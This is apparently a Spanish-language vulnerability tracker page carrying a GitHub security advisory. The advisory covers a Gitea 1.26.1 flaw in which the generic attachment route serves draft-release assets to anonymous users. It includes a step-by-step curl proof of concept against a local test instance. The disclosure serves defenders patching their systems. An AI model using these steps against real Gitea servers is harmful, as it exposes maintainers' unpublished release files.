GHSA-M984-2424-X6VW
Generic attachment downloads bypass draft-release visibility checks
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-M984-2424-X6VW divulgada · CVSS 3.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
In Gitea 1.26.1, anonymous users can download draft release assets through `/attachments/{uuid}` even when the draft release itself is hidden. The generic attachment route does not re-apply the draft-release visibility check before serving the file.
### Details
The verified report ties this to `routers/web/repo/attachment.go:141-173`, which serves linked attachments without reloading the parent release or enforcing the draft flag again. `routers/api/v1/repo/release_attachment.go:23-40,134-150` shows the normal release path does enforce `canAccessReleaseDraft(ctx)`, while `services/repository/repository.go:199-204` collapses release attachments down to `unit.TypeReleases` and loses the `IsDraft` context. `routers/web/web.go:872,1471` routes UUID-based attachment downloads to the generic handler. In the verified test, anonymous access to the draft release API returned `404`, but anonymous access to `/attachments/{uuid}` returned `200` and served the draft asset content.
### PoC
1. Start an isolated Gitea 1.26.1 instance and set `BASE=http://127.0.0.1:3000`. Create a test user `owner`.
2. As `owner`, create a public initialized repository:
`curl -u owner:ownerpass123 -H 'Content-Type: application/json' -d '{"name":"draft-asset-demo","private":false,"auto_init":true}' "$BASE/api/v1/user/repos"`
3. As `owner`, create a draft release and copy the returned numeric release ID:
`curl -u owner:ownerpass123 -H 'Content-Type: application/json' -d '{"tag_name":"draft-1","name":"draft-1","draft":true}' "$BASE/api/v1/repos/owner/draft-asset-demo/releases"`
4. Create a harmless asset with recognizable content:
`printf 'draft-only-binary' > /tmp/draft-asset.txt`
5. Upload it to the draft release and copy the returned `uuid` or `browser_download_url`:
`curl -u owner:ownerpass123 -X POST -H 'Content-Type: application/octet-stream' --data-binary @/tmp/draft-asset.txt "$BASE/api/v1/repos/owner/draft-asset-demo/releases/$RELEASE_ID/assets?name=draft-asset.txt"`
6. As an anonymous user with no cookies, verify the draft release itself is hidden:
`curl -i "$BASE/api/v1/repos/owner/draft-asset-demo/releases/$RELEASE_ID"`
7. Confirm this returns `404`.
8. As the same anonymous user, request the generic attachment route:
`curl -i "$BASE/attachments/$UUID"`
9. Observe `200 OK` and the file body `draft-only-binary`.
10. Optionally compare with the normal release download route `/owner/draft-asset-demo/releases/download/draft-1/draft-asset.txt`, which should remain hidden while `/attachments/$UUID` succeeds.
### Impact
This leaks unpublished release assets. Anyone who learns the attachment UUID can retrieve draft binaries or other release files before the maintainer chooses to publish them.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gocode.gitea.io/gitea |
Sin parche | — | — | v1.26.4 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/go-gitea/gitea/security/advisories/GHSA-m984-2424-x6vwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
